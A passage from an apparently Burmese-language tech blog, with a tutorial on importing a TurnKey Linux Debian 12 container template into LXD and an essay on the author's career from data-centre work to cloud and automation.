သူ့ပေါ်မှာ KVM တင် run တာသဘောမတွေ့လို့ မကြာခဏဆိုသလို crash ဖြစ်ပါတယ်။
* Minimalism လိုမျိုး idea ကိုကြိုက်တဲ့ စာရေးသူအတွက် lab setup လုပ်တဲ့အခါမှာတောင် တတ်နိုင်ရင် VM မသုံးပဲနဲ့ ပိုပြီးတော့ Lightweight ဖြစ်တဲ့ LXD container ကိုမျက်စိကျမိပါတယ်။ Docker နဲ့မတူတာတခုက LXD ဟာ VM တလုံးလိုမျိုး behave လုပ်တဲ့အတွက် အချို့သော lab တွေမှာ အသုံးတော်တော်လေးတည့်ပါတယ်။ လက်ရှိအချိန်ထိတော့ Vagrant နဲ့ Virtualbox နှစ်ခုကို တော်တော်များများ အသုံးပြုနေရတုန်းပါ။ အခုနောက်ပိုင်းမှာတော့ LXD ကိုပါ စာရေးသူရဲ့ workstation ပေါ်မှာ install လုပ်ပြီးသုံးနေပါပြီ။ အထူးသဖြင့် LXD container နဲ့ပဲ စမ်းသပ်လို့ရနိုင်တဲ့ lab ဆိုရင် Virtualbox ကို မသုံးဖြစ်တော့ပါ။
* စာရေးသူရဲ့ desktop မှာ snap install လုပ်ထားတဲ့ vanilla LXD installation ကိုအသုံးပြုတဲ့အခါမှာ စာရေးသူ Proxmox မှာသုံးနေကြ TurnKey Linux ကနေထုတ်တဲ့ template တွေကို access လုပ်တဲ့အခါမှာပြဿနာရှိနေပါတယ်။ TurnKey Linux ရဲ့ mirror URL ကို remote အနေနဲ့ LXD မှာထည့်ပြီး စမ်းကြည့်တော့ အဆင်မပြေဖြစ်နေပါတယ်။ ဒီတော့ အခြားဘယ်လိုနည်းလမ်းရှိသေးသလဲလို့ ကြည့်လိုက်မှ၊ template တွေကို import လုပ်လို့ရနိုင်သွားတွေ့ပါတယ်။

## Prerequisites

* Ubuntu 22.04 LTS ပေါ်မှာ LXD ကို snap နဲ့ အရင်ဆုံး install လုပ်ထားရပါ့မယ်။ Install လုပ်ပြီးရင် LXD ကို အောက်မှာပြထားတဲ့အတိုင်း ဆက်လက် setup လုပ်ရပါ့မယ်။

```bash
# install lxd snap if not installed
vagrant@lxd1:~$ sudo snap install lxd -y

# initial setup of lxd
vagrant@lxd1:~$ lxd init
Would you like to use LXD clustering? (yes/no) [default=no]: 
Do you want to configure a new storage pool? (yes/no) [default=yes]: 
Name of the new storage pool [default=default]: 
Name of the storage backend to use (btrfs, ceph, cephobject, dir, lvm, zfs) [default=zfs]: 
Create a new ZFS pool? (yes/no) [default=yes]: 
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]: 
Size in GiB of the new loop device (1GiB minimum) [default=6GiB]: 
Would you like to connect to a MAAS server? (yes/no) [default=no]: 
Would you like to create a new local network bridge? (yes/no) [default=yes]: 
What should the new bridge be called? [default=lxdbr0]: 
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: 
Would you like the LXD server to be available over the network? (yes/no) [default=no]: 
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]: 
Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]: 
```

* ကိုယ်လိုချင်တဲ့ container template ကို <http://mirror.turnkeylinux.org/turnkeylinux/images/proxmox/debian-12-turnkey-core\\_18.1-1\\_amd64.tar.gz> ကနေပြီး download ဆွဲထားရပါ့မယ်။ ဒီ post မှာတော့ Debian 12 Bookworm core container template ကိုအသုံးပြုပါ့မယ်။

```bash
vagrant@lxd1:~$ mkdir ct
vagrant@lxd1:~$ cd ct
vagrant@lxd1:~/ct$ wget http://mirror.turnkeylinux.org/turnkeylinux/images/proxmox/debian-12-turnkey-core_18.1-1_amd64.tar.gz
--2024-08-04 09:26:49--  http://mirror.turnkeylinux.org/turnkeylinux/images/proxmox/debian-12-turnkey-core_18.1-1_amd64.tar.gz
Resolving mirror.turnkeylinux.org (mirror.turnkeylinux.org)... 131.188.12.211, 137.226.34.46, 2801:82:80ff:8000::e
Connecting to mirror.turnkeylinux.org (mirror.turnkeylinux.org)|131.188.12.211|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 221553990 (211M) [application/x-gzip]
Saving to: ‘debian-12-turnkey-core_18.1-1_amd64.tar.gz.1’

debian-12-turnkey-core_18.1-1_amd64.tar.gz.1       100%[===============================================================================================================>] 211.29M   594KB/s    in 7m 5s   

2024-08-04 09:33:55 (509 KB/s) - ‘debian-12-turnkey-core_18.1-1_amd64.tar.gz.1’ saved [221553990/221553990]
```

* metadata.yaml ဆိုပြီး YAML file တခုကိုအောက်မှာပြထားတဲ့အတိုင်း ကြိုတင်ပြင်ဆင်ထားရပါ့မယ်။ ကိုယ်နဲ့သင့်တော်မယ့် parameters တွေကို လိုအပ်သလိုပြောင်းလဲပေးဖို့မမေ့ပါနဲ့။

```yaml
architecture: "x86_64"
creation_date: 1722761061 # use `date +%s` command
properties:
  architecture: "x86_64"
  description: "Debian Bookworm Turnkey Core"
  os: "debian"
  release: "bookworm"                                                       
```

* အဲ့ဒီ metadata.yaml file အဆင်သင့်ဖြစ်ပြီဆိုရင် အောက်မှပြထားတဲ့အတိုင်း tar command နဲ့ .tar.gz file အဖြစ်သို့ထပ်မံပြောင်းလဲပေးရပါ့မယ်။

```bash
vagrant@lxd1:~/ct$ tar -cvzf metadata.tar.gz metadata.yaml
metadata.yaml
```

## Import LXD container template

အထက်မှာဖော်ပြထားသလို အကုန်ပြင်ဆင်ပြီးရင် template ကိုစတင် import လုပ်လို့ရနိုင်ပါပြီ။

```bash
# import lxd container template
vagrant@lxd1:~/ct$ lxc image import metadata.tar.gz debian-12-turnkey-core_18.1-1_amd64.tar.gz.1 --alias tkl-core-12
Image imported with fingerprint: 7cfd726d2f8384aaf538de2ab9fdc4d7b8e40a96dd2b03c809c48e08199e7811

# verify the import template as an image
vagrant@lxd1:~/ct$ lxc image list 
+-------------+--------------+--------+------------------------------+--------------+-----------+-----------+-----------------------------+
|    ALIAS    | FINGERPRINT  | PUBLIC |         DESCRIPTION          | ARCHITECTURE |   TYPE    |   SIZE    |         UPLOAD DATE         |
+-------------+--------------+--------+------------------------------+--------------+-----------+-----------+-----------------------------+
| tkl-core-12 | 7cfd726d2f83 | no     | Debian Bookworm Turnkey Core | x86_64       | CONTAINER | 211.29MiB | Aug 4, 2024 at 9:41am (UTC) |
+-------------+--------------+--------+------------------------------+--------------+-----------+-----------+-----------------------------+

# create a container using the image
vagrant@lxd1:~/ct$ lxc launch tkl-core-12 debian12
Creating debian12
Starting debian12                         

# check if the container is up and running
vagrant@lxd1:~/ct$ lxc list
+----------+---------+---------------------+-----------------------------------------------+-----------+-----------+
|   NAME   |  STATE  |        IPV4         |                     IPV6                      |   TYPE    | SNAPSHOTS |
+----------+---------+---------------------+-----------------------------------------------+-----------+-----------+
| debian12 | RUNNING | 10.177.10.79 (eth0) | fd42:a14a:b9bc:f842:216:3eff:fea4:5152 (eth0) | CONTAINER | 0         |
+----------+---------+---------------------+-----------------------------------------------+-----------+-----------+

# access the container and verify if it is operational
vagrant@lxd1:~/ct$ lxc exec debian12 bash
root@core ~# 
root@core ~# cat /etc/os-release 
PRETTY_NAME="Debian GNU/Linux 12 (bookworm)"
NAME="Debian GNU/Linux"
VERSION_ID="12"
VERSION="12 (bookworm)"
VERSION_CODENAME=bookworm
ID=debian
HOME_URL="https://www.debian.org/"
SUPPORT_URL="https://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"
```

Proxmox မှာလောက်အဆင်မပြေနိုင်ပေမယ့်လည်း စာရေးသူ local desktop မှာပဲ run ပြီးစမ်းသပ်နိုင်တာကြောင့် အတော်လေးကို သဘောကျမိပါတယ်။


# Cloud ဆိုသည်မှာ

Cloud ဆိုတဲ့ အသုံးအနှုန်းကို စာရေးသူစကြားဖူးတာ တော်တော်လေးကိုကြာခဲ့ပါပြီ။ တချိန်က အစိုးရကောလိပ်တခုမှာ ကျောင်းတဖက်နဲ့ အချိန်ပိုင်းစာသင်ပြတဲ့အချိန်က head teacher တစ်ယောက်က Microsoft Windows Server 2012 R2 ဘာသာရပ်ကို သင်ပြပေးဖို့ဆွေးနွေးကြရင်းနဲ့ သူက hybrid cloud နဲ့ public cloud အတွက် အလွယ်တကူတွဲပြီးတော့သုံးလို့ရကြောင်း Microsoft ရဲ့ Azure ဟာလည်းမသိမဖြစ်သိထားသင့်တဲ့ နည်းပညာတခုဖြစ်ကြောင်း ဆက်လက်ဆွေးနွေးဖြစ်ခဲ့ပါတယ်။ အဲ့ဒီတုန်းက စာရေးသူ တက္ကသိုလ်မှာလည်း ကျောင်းလည်းမပြီးသေး၊ cloud ဆိုတဲ့ဟာလည်း ကိုယ့်အတွက်လက်တွေ့ အသုံးမတည့်သေးတာမို့ ဒီအတိုင်းပဲမေ့မေ့ပျောက်ပျောက်ပဲ ထားလိုက်ပါတယ်။ အဲ့ဒါလွန်ခဲ့တဲ့ ၁၀နှစ်ကျော်ကျော်လောက်ကဖြစ်တဲ့ အဖြစ်တခုပေမယ့် မှတ်မှတ်ရရရှိနေသေးပါတယ်။ ပထမတခုက စာရေးသူကိုယ်တိုင်က ကျောင်းမှာစာသင်ကြားပြသနေတဲ့ အချိန်ပိုင်း IT ဆရာတယောက်ဖြစ်နေပြီး cloud ဆိုတဲ့ နည်းပညာကိုသေချာလုံးစေ့ပတ်စေ့ မသိသေးတာဖြစ်တဲ့အတွက် မသိစိတ်ကရှက်နေတာတကြောင်း၊ နောက်တခုက စာရေးသူကို Windows Server 2012 R2 ဘာသာရပ်ကို သင်ပေးဖို့အတွက်လာမေးတဲ့ head teacher ကို သင်ပေးနိုင်ကြောင်း ကတိပေးပြီးကာမှ ဖြစ်ပါ့မလားဆိုတဲ့ ကြောက်စိတ်လေးဝင်လာတာတကြောင်းရယ်ပါ။ အဲ့ဒီမတိုင်ခင်ကလည်း Windows Server 2008 ဘာသာရပ်ကိုလည်း ကျောင်းမှာသင်ပြလာတာလည်း semester ၂ခုလောက်ရှိတော့မယ်ထင်ပါတယ်။ သို့သော်လည်း အဲ့ဒီ head teacher နဲ့ Windows Server 2012 R2 ဟာ cloud-ready ဖြစ်တဲ့အကြောင်း ဆွေးနွေးပြီးတော့မှ cloud ဆိုတာ ငါမှ ကောင်းကောင်းမသိပဲနဲ့ဖြစ်ပါ့မလားဆိုပြီး သံသယစိတ်ဝင်လာပါတော့တယ်။ ဒါကြောင့်လည်း ဒီကိစ္စကိုကောင်းကောင်းကြီးမှတ်မိနေပါတော့တယ်။

နောက်ပိုင်းမှာတော့ AWS အပြင်၊ အခြားသော Cloud Service Providers (CSPs) တွေလည်း အများကြီးရှိကြောင်း တဖြေးဖြေးသိလာပါတော့တယ်။ စာရေးသူ တက္ကသိုလ်ကျောင်းပြီးတဲ့အထိ တစ်နှစ်ကျော်၊ နှစ်နှစ်လောက် အစိုးရကောလိပ်မှာ စာဆက်ပြီးတော့ သင်ဖြစ်ပါသေးတယ်။ အဲ့နောက်မှာတော့ ကိုယ်ဝါသနာပါတဲ့ technical ပိုင်းကိုလိုက်ချင်လို့ System/Network Administrator အဖြစ်နဲ့ company အသေးလေးတခုမှာ တစ်နှစ်ကျော်ကျော်လောက် ပြန်လည်အလုပ်ဝင်ခဲ့ပါတယ်။ အဲ့ဒီကနေမှတဆင့် အလတ်စား Managed Service Provider (MSP) တစ်ခုမှာ System Engineer အဖြစ် နှစ်နှစ်လောက် ဆက်လက် လုပ်ငန်းဝင်ခဲ့ပါတယ်။ MSP ဖြစ်တဲ့အတွက် small and medium-sized business (SMB) အများကြီးအတွက် Infrastructure နဲ့ system ပိုင်းတွေမှာ မလုပ်ဖူးတာမရှိသလောက် အစုံလုပ်ခဲ့ရပါတယ်။ Infrastructure ဆိုတဲ့နေရာမှာ on-prem infrastrature တွေပါသလို၊ data centre တွေ၊ co-location တွေအကုန်လုံးပါပါတယ်။ Server hardware တွေ၊ networking gears တွေကို rack-and-stack လုပ်တာပါသလို၊ basic configuration တွေအတွက်လည်း ကိုယ်ပဲအကုန်ပြင်ဆင်ရပါတယ်။ System ပိုင်းမှာဆိုလည်း Windows/Linux OS၊ Virtualisation၊ Storage၊ Monitoring နဲ့ Backup အပြင်၊ incident management အတွက်လည်း ကိုယ်တိုင် hands-on လုပ်ရတဲ့အပိုင်းတွေအများကြီးဖြစ်လာတယ်။ နည်းပညာပိုင်းမှာ အများကြီးလည်း မြင်ခဲ့ရတယ်၊ အများကြီးလည်း သင်ခဲ့ရတယ်ဆိုပါတော့။

ဒါ့ကြောင့် နည်းပညာပိုင်းမှာ အများကြီးလေ့လာချင်ရင် MSP environment ကအကောင်းဆုံးလို့ ဆိုရမယ်ထင်တယ်။ အဲ့ဒီ MSP မှာပဲ Network Operations Centre အတွက် night shift တွေပါလုပ်ခဲ့ရပါတယ်။ ပင်ပန်းတလောက် ကိုယ်သင်ယူနိုင်ရင် အများကြီးတတ်မြောက်နိုင်တဲ့ အခွင့်အလမ်းတခုပါ။ သို့သော်လည်း တစ်ယောက်နဲ့ တစ်ယောက်တော့ အလုပ်အပေါ်မှာထားတဲ့ အမြင်နဲ့ စိတ်ထားပေါ်မှာမူတည်ပြီးတော့ အဆင့်ဆင့်တက်လမ်းကြရပါတယ်။ အချို့လည်း NOC engineer ကနေဆက်မတက်တော့ပဲ၊ ဒီအတိုင်းဆက်လက် လုပ်ကိုင်နိုင်တာမျိုးလည်း မြင်ဖူးလို့ပါ။ ဒီလိုနဲ့ MSP မှာနှစ်နှစ်လောက်ပြီးတော့မှ Internet Service Provider (ISP) တခုမှာ Network Engineer အဖြစ်နဲ့ နောက်ထပ် နှစ်နှစ်လာက် ဆက်လက်လုပ်ကိုင်ခဲ့ပါတယ်။ MSP မှာလိုပဲ ISP က networking အတွက် အကုန်လုံး လေ့လာနိုင်တဲ့ environment တစ်ခုပါ။ Cisco၊ Huawei၊ Mikrotik၊ Fortinet နဲ့ Palo Alto networking devices တွေအပြင်၊ အခြားသော multi-vendor product တွေစတင်ထိတွေ့ခွင့်ရခဲ့ပါတယ်။ Network configuration တွေကို ကိုယ်တိုင် configure လုပ်နေကျမဟုတ်ရင် အနည်းငယ် စိမ်းနေသလိုဖြစ်တတ်သော်လည်း၊ configure လုပ်တာများလာတာနဲ့ အမျှ ဒီ concept ကိုပဲ မတူတဲ့ CLI syntax တွေ၊ implementation လုပ်ပုံတွေပဲ ကွာခြားသွားတယ်ဆိုတာနားလည်လာပါတော့တယ်။ Network engineer တစ်ယောက်အနေနဲ့ initial configuration တွေပြင်ဆင်ရသလို၊ network အတွင်းမှာလိုအပ်တဲ့ change ကို after hours တွေမှာ Data Centre တွေသွားပြီးတော့ configure လုပ်ရပါတယ်။ ထပ်ခါထပ်ခါ configure လုပ်ရတဲ့ network change တွေကို စာရေးသူ မကြိုက်ပါ။ နဂိုကတည်း လူကပျင်းတော့၊ တစ်ခါနှစ်ခါထပ်ပိုပြီးတော့ လုပ်ရတဲ့အလုပ်မျိုးကို အလွယ်တကူလုပ်နိုင်မယ့်နည်းကိုရှာရင်းနဲ့ Network Automation အတွက် Ansible ကိုစပြီးတော့ အသုံးပြုဖြစ်လာပါတော့တယ်။ အဲ့ဒီအထိကို cloud ဆိုတဲ့ ဝေါဟာရကို ဃဂနဏ စာရေးသူ သေချာနားလည်ပုံ မပေါက်ပါ။

စာရေးသူ ISP မှာ network engineer စလုပ်တဲ့အချိန်မှာတော့ လက်ဖော်ကိုင်ဖက်တစ်ယောက်က AWS Certificate သုံးခုလောက် အောင်ထားပြီး လုပ်ငန်းခွင်မှာလည်း မသုံးရလို့ စိတ်ပျက်လက်ပျက်ဖြစ်နေတာကြောင့် စကားစပ်မီပါတော့တယ်။ အဲ့ဒီလုပ်ဖော်ကိုင်ဖက်က Cloud က အနာဂတ်ဖြစ်ပြီး၊ Data Centre တွေမှာ co-location လုပ်တာ ဖြည်းဖြည်းချင်းနည်းလာမည်ဖြစ်ကြောင်း ပြောလာပါတော့တယ်။ အဲ့ဒီအချိန် လွန်ခဲ့တဲ့ ၅ နှစ်ကျော်ကျော် ၆နှစ်လောက်မှာ စာရေးသူကတော့ Data Centre co-location နဲ့ ပတ်သတ်တဲ့ အလုပ်တွေအများကြီးလုပ်ဖြစ်နေပါတယ်။ သူပြောတော့လည်း ကိုယ့်ဘက်က လက်ခံချင်တဲ့ပုံ မပေါက်လို့ သူက အကျိုးကြောင်းအစုံရှင်းပြလာပါတယ်။ ဒီလိုနဲ့ Cloud ဆိုတာဘာပါလိမ့်လို့ စပြီးခေါင်းထဲရောက်လာပါတော့တယ်။ ကိုယ်တိုင်က self-hosting နဲ့ data centre သမားမို့ ငွေကြေးအကုန်ကျခံပြီး cloud service providers တွေဆီဘာသွားလုပ်မှာလို့ အစကတော့ တွေးမိပါတယ်။ သို့သော်... အစပြုပြီးတော့ လေ့လာထားကာမှ မှီရုံရှိတဲ့ ဒီခေတ်သစ် နည်းပညာနယ်ပယ်ထဲမှာ လုပ်ကိုင်စားသောက်တဲ့သူမို့ အနည်းငယ်ပိုပြီးတော့ သက်သာတဲ့၊ ရိုးရှင်းတဲ့ CSP တွေဖြစ်တဲ့ Linode တို့၊ Vultr တို့လိုမျိုး platform တွေမှာ အလကားရတဲ့ $100 credit ကိုအစမ်းသုံးကြည့်ဖြစ်ပါတော့တယ်။

### Self-hosted နဲ့ Cloud ကွာခြားပုံ

စာရေးသူ အထက်မှာပြောတဲ့ ISP မှာ network engineer အနေနဲ့ အလုပ်ဝင်တဲ့အချိန်က၊ အဲ့ဒီ company မှာပဲ cloud team ဆိုတာရှိပါတယ်။ Cloud ဆိုတဲ့နေရာမှ AWS တို့၊ Azure တို့လို public cloud ကို manage လုပ်တဲ့ team တော့မဟုတ်ပါဘူး။ အရှင်းဆုံးပြောရရင် SMB ဖြစ်တဲ့အတွက်၊ ငွေဝင်နိုင်မည့် managed service မှန်သမျှကို invest လုပ်ထားတဲ့ သဘောမျိုးဖြစ်သလို၊ customer တွေရဲ့ demand နဲ့ လိုအပ်ချက်တွေအမှန်ရှိတာဖြစ်တဲ့အတွက် ထပ်ပြီးချဲ့တိုးထားတဲ့ business ပုံစံမျိုးပါ။ အဲ့ဒီ cloud team ကဘာတွေလုပ်သလဲဆိုတော့၊ VMware ရဲ့ virtualisation product တွေကို Data Centre နဲ့ co-location တွေမှာ အသုံးပြုပါတယ်။ ပြီးတော့ customer က လိုအပ်တဲ့ VM specs တွေရယ်၊ ဘယ် OS ကို install လုပ်ပြီး ဘာ application တွေ run ချင်တယ်ဆိုတာ service request ထဲမှာထည့်မှာလိုက်ပါတယ်။ အဲ့ဒါကို သတ်မှတ်ထားတဲ့ engineer က VMware platform ပေါ်မှာ customer မှာတဲ့အတိုင်း VM ကို create လုပ်တယ်၊ နောက် OS ကို install လုပ်တယ်၊ ပြီးတော့ လိုအပ်တဲ့ application ကိုလည်း အဆင့်ဆင့် install လုပ်ရပြန်ပါတယ်။ အဲ့ဒီ process ဟာပုံမှန်အားဖြင့် ၂ပတ်ကနေ ၃ပတ်လောက်ထိကြာတတ်ပါတယ်။ အကြာကြီး အဆင့်ဆင့်လုပ်ပြီး customer လက်ထဲရောက်မှ တခုခုအဆင်မပြေလို့ အစကနေပြန်ပြီးတော့လုပ်ရတဲ့ service request တွေလည်းရှိသလို၊ snapshot နဲ့ အလုပ်ဖြစ်သွားတဲ့ အလုပ်တွေလည်းရှိပါတယ်။

နောက်ပြီး အဲ့ဒီ cloud team ကပဲ compute အတွက်လိုတဲ့ HPE server တွေ၊ Lenovo server တွေကို Data Centre မှာငှားထားတဲ့ rack မှာ rack-and-stack လုပ်ရပါတယ်။ SAN storage အတွက် Dell EMC နဲ့ HPE 3PAR တွေလို hardware တွေကိုလည်း manage လုပ်ရပါတယ်၊ configure လုပ်ရပါတယ်။ ဒီ့အပြင် Enterprise Networking အတွက် switches တွေ၊ routers တွေ၊ firewall တွေကိုလည်း manage လုပ်ရပြန်ပါတယ်။ WAN connections အတွက်လိုအပ်တာရှိရင်တော့ စာရေးသူလုပ်တဲ့ ISP team ကိုထပ်ဆင့် internal request လုပ်ရပြန်ပါတယ်။ အဲ့ဒီမှာတင် ကြည့်လိုက်ရင် operation တစ်ခုလုံးက IaaS လိုလို၊ PaaS လိုလို၊ SaaS လိုလိုနဲ့ ဘာမှန်းကိုမသိတော့ပါဘူး။ စလယ်ဆုံး အကုန်လုံး ကိုယ့်ခြေကိုယ့်လက်နဲ့ အဆင့်ဆင့်လုပ်ရတာဖြစ်တဲ့ အတွက် တော်တော်လည်းလက်ဝင်ပါတယ်။ အမှားလည်း အရမ်းကိုများတာမို့ တော်တော်လည်း စိတ်ပျက်လက်ပျက်ရှိခဲ့ရပါတယ်။ အဲ့ဒီတုန်းက စဉ်းစားမိတာ cloud ဆိုပြီးတော့၊ လုပ်ရတဲ့ operation က self-hosting နဲ့ ဘာမှကို မကွာခြားတဲ့အပြင် friction အရမ်းကိုများတဲ့ workflow တစ်ခုပါ။ သို့သော် operation တစ်ခုလုံးက အလုပ်ဖြစ်တယ်။ Customer ရှိတယ်။ Cloud team လို့သမုတ်သော်လည်း Managed Service Provider (MSP) နဲ့ပိုပြီးတော့ဆင်တူပါတယ်။

တပြိုင်တည်းမှာဆိုသလို စာရေးသူ ကိုယ်တိုင်ကလည်း DevOps တို့၊ Automation တို့ကိုစပြီးတော့ ရင်းနှီးကျွမ်းဝင်လာတာနဲ့ အမျှ၊ အစလည်ဆုံး manual လုပ်ရတဲ့ အလုပ်ဆိုရင် သဘောမတွေ့တော့တဲ့ အချိန်မို့၊ public cloud မှာဘယ်လိုမျိုး ကွာခြားနိုင်သလဲလို့လည်း စဉ်းစားမိပြန်ပါတယ်။ ဒီလိုနဲ့ အလုပ်တခုကနေတခုပြောင်းရင်း private cloud ကို ကိုယ်တိုင် manage လုပ်ရတဲ့ အလုပ်ကိုဝင်ရပြန်ပါတယ်။ အဲ့ဒီ role မှာတော့ OpenStack လို platform မျိုးနဲ့ စတင်ပြီးတော့ ထိတွေ့ရပါတယ်။ OpenStack လို့ဆိုတဲ့နေရာမှာလည်း VMware ရဲ့ VMware Integrated OpenStack (VIO) ကို manage လုပ်ရပါတယ်။ အရှင်းဆုံးပြောရရင်တော့ OpenStack မှာ flavour တွေအများကြီးရှိတဲ့ထဲမှာမှ VMware ကနေ integrate လုပ်ထားတဲ့ product တစ်ခုပါ။ OpenStack ကို Red Hat ကလည်း product and support တခုအနေနဲ့ ရောင်းသလို၊ Rackspace ကလည်း သူ့ဟာနဲ့သူ ရှိပါတယ်။ အခြား flavour ကိုသုံးဖူးသူတွေပြောသလောက်တော့ Red Hat ရဲ့ OpenStack ကအလုပ်ပိုဖြစ်တယ်လို့ဆိုပါတယ်။ VMware ရဲ့ VIO ကတော့ ပြဿနာတော်တော်များတဲ့ platform တခုပါ။ Support ကလည်း ထင်ထားသလောက် မကောင်းပါဘူး။ Firefighting လုပ်ရတာလည်း ခဏခဏပါပဲ။ OpenStack ကိုယ်တိုင်ကိုက manage လုပ်ရတာလွယ်တဲ့ platform တစ်ခုမဟုတ်ပါဘူး။ သူ့မှာလည်း components ပေါင်းများစွာနဲ့ စုစည်းထားတဲ့ platform ပါ။ Component တစ်ခုချင်းစီမှာလည်း ရွေးချယ်စရာ နည်းပညာတွေက အများကြီးထပ်ရှိပြန်ပါတယ်။ အသေးစိတ်တော့ ထည့်ပြီးတော့ မရေးတော့ပါဘူး။ OpenStack ရဲ့ backend ကို manage လုပ်လေလေ ဘာဖြစ်လို့ DevOps သမားတွေ public cloud တွေဖြစ်တဲ့ AWS၊ Azure နဲ့ GCP ကိုကြိုက်သလဲ့ ဆိုတာပိုပြီးတော့ ထင်သာမြင်သာ ရှိလာပါတော့တယ်။

ဒီလိုနဲ့ နောက်ထပ် role တခုပြောင်းတော့ကာမှ Azure Cloud ကိုစပြီးတော့သုံးဖြစ်တယ်။ အလုပ်သဘောသဘာဝ အရက automation ဘက်မှာ အလေးပေးပြီးတော့ cloud ဘက်ကိုလိုမှသာ အနည်းငယ်ထိတွေ့ရပါတော့တယ်။ သို့သော် automation engineer တယောက်အတွက် cloud ဟာတော်တော်လေး အသုံးတည့်သလို၊ ဘယ်လောက်တောင် လွယ်သွားသလဲဆိုတာ ထင်သာမြင်သာ တခါရှိလာပြန်ပါတယ်။ စာရေးသူ အနေနဲ့ infrastructure team ထဲမှာဆိုပေးမည့် cloud ကိုသုံးရတဲ့ team ထဲမှာပါတဲ့အတွက် hardware ဘက်မှာအများကြီးလိုက်လုပ်စရာ မလိုပါဘူး။ လိုအပ်တဲ့ resource တွေကို လိုအပ်တဲ့ Ansible module တွေအသုံးပြုပြီး construct လုပ်သွားရုံပါပဲ။

### ပြန်လည်သုံးသပ်ကြည့်ခြင်း

အားလုံးပြန်လည် သုံးသပ်ကြည့်မယ်ဆိုရင် စာရေးသူရဲ့ လုပ်ငန်းခွင်အစပိုင်းမှာ on-prem၊ Data Center တို့ဘက်ကနေစခဲ့ပြီးတော့၊ rack-and-stack လိုမျိုး အောက်ခြေသိမ်းအလုပ်တွေအကုန်လုပ်ခဲ့ရပါတယ်။ အဲ့ဒီတုန်း cloud team နဲ့ အလုပ် အများကြီးလုပ်ခဲ့ရလို့ cloud တခုကိုဘယ်လိုမျိုးတည်ဆောက်ရလည်း ဆိုတာမြင်ခဲ့ တွေ့ခဲ့ ရပါတယ်။ AWS၊ Azure နဲ့ GCP မှာတော့ data centre engineer တွေက၊ hardware logistics နဲ့ installation တွေကိုလုပ်မယ်၊ SRE တွေ automation tools တွေကိုသုံးပြီးတော့ platform တွေကို deploy လုပ်မယ်။ စာရေးသူအတွက်တော့ hardware installation ကနေပြီးတော့ service တွေအကုန် အဆင်သင့်ဖြစ်တဲ့အထိ ကိုယ်တိုင်လုပ်ရပါတယ်။ ရှိသမျှအလုပ်တွေ အကုန်လုံးက manual တွေချည်းပါပဲ။ မမိုက်ပါဘူး။ သို့သော် manual process သိခြင်းအားဖြင့်၊ ရှိသမျှ အစိတ်အပိုင်းတွေ အကုန်လုံး ဘယ်လိုမျိုးအလုပ်လုပ်သလဲဆိုတာ ခြုံငုံပြီးတော့ ရိပ်စားမိပါတယ်။ အဲ့ဒီအတွက် အကျိုးရှိပါတယ်။

အဲ့ကနေမှဆင့် VMware ရဲ့ VIO ကိုကြည့်လိုက်ပြန်ရင်လည်း private cloud ဆိုတာဘာဖြစ်လို့ ဖြစ်လာသလဲ၊ ဘယ်လိုမျိုးနေရာမှာအသုံးဝင်ပြီးတော့၊ manage လုပ်ရတဲ့ workload နဲ့ complicity ဘယ်လောက်တောင်များသလဲဆိုတာ သိလာပြန်ပါတယ်။ OpenStack ဟာထင်သလောက် မလွယ်သလို၊ ဖိဖိစီးစီး ပိုင်နိုင်ဖို့ဆိုတာလည်း အချိန်တွေအများကြီး၊ ပညာရှင်တွေအများကြီးနဲ့ ဖွဲ့စည်းထားတဲ့ team တခုဖြစ်ဖို့လိုပါတယ်။ VIO လိုမျိုး product နဲ့ အလုပ်လုပ်ပြီးတဲ့နောက်၊ သိလာတာတခုက VMware လိုမျိုး company ကြီးထဲမှတောင် အဲ့ဒီ product အကြောင်းကို လုံးစေ့ပတ်စေ့သိတဲ့ engineer တွေ၊ developer တွေအများကြီးမရှိပါဘူး။ ဒါကြောင့် တခုခုဖြစ်လို့ troubleshoot လုပ်မယ်ဆိုရင်တောင်၊ အချိန်အများကြီး ကုန်ပါတယ်။ ပျော်စရာလုံးဝ မကောင်းပါဘူး။ ကိုယ်တိုင်က support လိုလို့ VMware ကိုဆက်သွယ်ကာမှ support engineer တချို့က product ကိုကိုယ့်လောက်မသိပဲနဲ့ bridge ကို join လာတာမျိုးလည်းရှိပါတယ်။ Firefighting လုပ်ရတာများလာတော့၊ တချို့ဟာတွေလည်း ကိုယ်တိုင်လေ့လာရင်း product နဲ့ ရင်းနှိီးလာတဲ့သဘောပါ။ ရေရှည်အတွက်တော့ ဘယ်လိုမှအဆင်မပြေနိုင်ပါ၊

ဒါကြောင့် CSPs တွေထဲမှာမှ big three လို့ခေါ်တဲ့ AWS၊ Azure နဲ့ GCP တို့လိုမျိုးမှာတော့ ကိုယ့်အလုပ်ရဲ့ nature မှာမူတည်ပြီးတော့ heavy-lifting လုပ်ရတဲ့ကိစ္စမရှိသလောက်ဖြစ်သွားပါတယ်။ အားလုံးပြီးပြည့်စုံတဲ့ ရွေးချယ်စရာတခုလားဆိုတော့လည်း မဟုတ်သေးပါဘူး။ အချို့သော troubleshoot တွေမှာဆို ဘာဖြစ်လို့ဖြစ်မှန်းလည်း မသိဘူး၊ Azure ကို support ticket ဖွင့်တော့လည်း သူတို့ပြောသလောက်နဲ့ပဲ ကိုယ့်မှာကျေနပ်ရတဲ့ ကိစ္စတွေ ရှိပါတယ်။ ရှိသမျှ logs တွေကိုမြေလှန်ရှာလို့ မရတော့တဲ့ အတွက် ပြဿနာတခုတက်ပြီဆိုရင် အတိုင်းအတာတခုထိပဲ လက်လျှော့လိုက်ရတာတွေလည်း ရှိပါတယ်။

